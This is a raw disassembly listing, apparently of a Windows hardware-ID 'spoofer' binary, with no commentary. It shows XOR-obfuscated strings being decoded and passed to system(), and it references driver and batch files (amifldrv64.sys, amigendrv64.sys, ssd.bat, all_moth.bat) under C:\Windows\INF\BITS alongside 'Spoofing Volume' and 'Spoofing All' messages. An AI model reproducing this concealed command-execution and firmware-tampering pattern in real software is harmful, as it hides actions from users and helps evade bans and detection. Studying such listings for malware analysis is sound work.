movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000f6f0
cmp r8d, 0x29
jge 0x14000f823
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14000f7f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f840
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rdx, str.C:WindowsINFBITS_amigendrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_35
lea rdx, str.C:WindowsINFBITS_amifldrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_33
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsINFBITS_ssd.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsINFBITS_ssd.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsINFBITS_all_moth.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa9d8]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa9e8]
movups xmmword [rbp - 0x41], xmm1
movzx eax, byte [0x1400aa9f8]
mov byte [rbp - 0x31], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000fce3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000fbf0
cmp r8d, 0x21
jge 0x14000fd23
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14000fcf0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000fd40
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Volume2...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aaa00]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aaa10]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aaa20]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aaa24]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000fef3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000fe00
cmp r8d, 0x26
jge 0x14000ff33
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000ff00
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ff50
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Spoofing_All...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aaa28]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aaa38]
movups xmmword [rbp - 0x41], xmm1
movsd xmm0, qword [0x1400aaa48]
movsd qword [rbp - 0x31], xmm0
movzx eax, byte [0x1400aaa50]
mov byte [rbp - 0x29], al
mov r8d, ebx
cmp r14d, 2
jl 0x140010103
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010010
cmp r8d, 0x29
jge 0x140010143
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140010110
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140010157
mov r8, rsi
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
movups xmm0, xmmword [0x1400aaa58]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400aaa68]
movups xmmword [rbp - 0x79], xmm1
mov eax, dword [0x1400aaa78]
mov dword [rbp - 0x69], eax
movzx eax, word [0x1400aaa7c]
mov word [rbp - 0x65], ax
mov r8d, ebx
cmp r14d, 2
jl 0x1400102f3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140010200
cmp r8d, 0x26
jge 0x140010333
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140010300
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
movups xmm0, xmmword [0x1400aaa80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400aaa90]
movups xmmword [rbp - 0x79], xmm1
mov eax, dword [0x1400aaaa0]
mov dword [rbp - 0x69], eax
movzx eax, byte [0x1400aaaa4]
mov byte [rbp - 0x65], al
mov r8d, ebx
cmp r14d, 2
jl 0x1400104c3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400103d0
cmp r8d, 0x25
jge 0x140010503
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x1400104d0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
movups xmm0, xmmword [0x1400aaaa8]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400aaab8]
movups xmmword [rbp - 0x79], xmm1
movsd xmm0, qword [0x1400aaac8]
movsd qword [rbp - 0x69], xmm0
cmp r14d, 2
jl 0x14001067d
mov edx, ebx
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x44]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140010590
jmp 0x1400106c3
lea r9, [rsp + 0x40]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140010690
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
movups xmm0, xmmword [0x1400aaad0]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400aaae0]
movups xmmword [rbp - 0x79], xmm1
movsd xmm0, qword [0x1400aaaf0]
movsd qword [rbp - 0x69], xmm0
movzx eax, byte [0x1400aaaf8]
mov byte [rbp - 0x61], al
mov r8d, ebx
cmp r14d, 2
jl 0x140010853
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010760
cmp r8d, 0x29
jge 0x140010893
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140010860
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
